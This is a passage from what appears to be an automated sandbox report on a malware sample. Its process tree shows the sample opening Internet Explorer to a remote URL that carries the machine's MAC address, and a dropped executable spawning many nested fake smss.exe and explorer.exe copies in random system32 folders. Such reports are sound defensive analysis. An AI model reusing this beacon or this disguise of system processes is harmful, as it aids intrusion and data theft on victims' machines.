8df3011621508198c7546c5841d055e5.exe 110 PID 540 wrote to memory of 4224 540 8df3011621508198c7546c5841d055e5.exe 110 PID 3608 wrote to memory of 4868 3608 smss.exe 112 PID 3608 wrote to memory of 4868 3608 smss.exe 112 PID 3608 wrote to memory of 4868 3608 smss.exe 112 PID 3732 wrote to memory of 4364 3732 ghystwrahbkb.exe 113 PID 3732 wrote to memory of 4364 3732 ghystwrahbkb.exe 113 PID 3732 wrote to memory of 4364 3732 ghystwrahbkb.exe 113 PID 4868 wrote to memory of 3488 4868 smss.exe 114 PID 4868 wrote to memory of 3488 4868 smss.exe 114
Processes
-
C:\Users\Admin\AppData\Local\Temp\8df3011621508198c7546c5841d055e5.exe"C:\Users\Admin\AppData\Local\Temp\8df3011621508198c7546c5841d055e5.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:540 -
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://dd.zxcvbnmzxcvbnm.com:9999/Chinago.ashx?Mac=5A:2E:32:B6:DB:C3&UserId=114&Bate=1.082⤵
- Suspicious use of WriteProcessMemory
PID:4804 -
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://dd.zxcvbnmzxcvbnm.com:9999/Chinago.ashx?Mac=5A:2E:32:B6:DB:C3&UserId=114&Bate=1.083⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3748 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3748 CREDAT:17410 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4356
-
-
-
-
\??\c:\ghystwrahbkb.exec:\ghystwrahbkb.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3732 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe6⤵
- Executes dropped EXE
- Enumerates connected drives
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:60 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe7⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1216 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe8⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2344 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe9⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3772 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe10⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe11⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe12⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe13⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4688 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe14⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe15⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3548 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3608 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4868 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3488 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:764 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2144 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:684 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3364 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1540 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
PID:4520 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4944 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:1952
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵
- Drops file in System32 directory
PID:4804 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵
- Enumerates connected drives
PID:5288 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵
- Drops file in System32 directory
PID:5672 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:6024
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:5744
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe32⤵
- Enumerates connected drives
PID:5908 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe33⤵PID:6436
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe34⤵
- Drops file in System32 directory
PID:6876 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe35⤵
- Drops file in System32 directory
PID:1664 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe36⤵PID:7392
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe37⤵PID:8120
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe38⤵PID:8448
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe39⤵PID:8600
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe40⤵PID:10032
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe41⤵PID:10908
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe42⤵PID:11956
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe43⤵PID:13204
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe44⤵PID:14680
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe45⤵PID:16428
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe46⤵PID:18360
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe47⤵PID:20532
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe33⤵PID:20588
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe32⤵PID:18736
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe31⤵PID:17120
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe32⤵PID:19584
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe30⤵PID:15388
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe29⤵PID:14128
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:15520
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe28⤵PID:12676
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14304
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:15764
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe27⤵PID:11428
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12716
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:5500
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:15812
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:17620
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe26⤵PID:10456
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11556
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12940
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:13504
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:15972
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe25⤵PID:9688
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10560
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11652
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12920
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14464
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16312
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe24⤵PID:9056
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9812
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10704
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11756
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13088
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14544
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16320
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe23⤵PID:7624
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9064
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9780
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10680
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11884
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13172
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14556
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:5420
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:18448
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe22⤵PID:7780
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:7388
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:8980
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9600
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10440
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11488
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12856
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:13428
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:15868
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe21⤵PID:6368
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7848
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:2752
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9100
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9728
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10668
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11708
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13100
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14380
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16032
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe20⤵
- Drops file in System32 directory
PID:6228 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵PID:1752
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7812
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:4528
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9016
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9632
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10492
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11592
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12928
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14496
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16188
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe19⤵PID:6620
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵
- Enumerates connected drives
PID:6388 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Drops file in System32 directory
PID:3388 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7904
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:8232
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9144
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9860
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10764
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11820
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:13252
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14644
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:3556
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:6084
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:6160
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6588
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:7132
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵PID:2312
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵
- Drops file in System32 directory
PID:7772 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:372
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9032
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9672
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10540
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11640
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12948
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14396
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:16096
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵
- Enumerates connected drives
PID:4432 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵
- Enumerates connected drives
PID:6184 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵
- Enumerates connected drives
PID:6640 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:6456
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵
- Enumerates connected drives
PID:3228 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵
- Enumerates connected drives
PID:7856 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:5100
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9080
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9752
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10696
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11932
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12568
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:14672
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:5332
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:18480
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe32⤵PID:20576
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20220
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe16⤵PID:6116
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵
- Drops file in System32 directory
PID:6004 -
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:6152
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe19⤵PID:6596
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe20⤵PID:7156
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe21⤵PID:6944
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe22⤵PID:7788
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe23⤵PID:7716
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe24⤵PID:9024
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe25⤵PID:9656
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe26⤵PID:10504
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe27⤵PID:11500
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe28⤵PID:12960
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe29⤵PID:2060
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe30⤵PID:15980
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe31⤵PID:17896
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe32⤵PID:20252
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe18⤵PID:20164
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe17⤵PID:18388
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵PID:19820
-
-
-
-
-
C:\Windows\SysWOW64\khhpvxpfnkto\explorer.exeC:\Windows\system32\khhpvxpfnkto\explorer.exe15⤵PID:5828
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe16⤵PID:5320
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe17⤵PID:2284
-
C:\Windows\SysWOW64\fathkqqybdvq\smss.exeC:\Windows\system32\fathkqqybdvq\smss.exe18⤵
- Enumerates connected drives
- Drops file in System32 directory
PID:6272 -
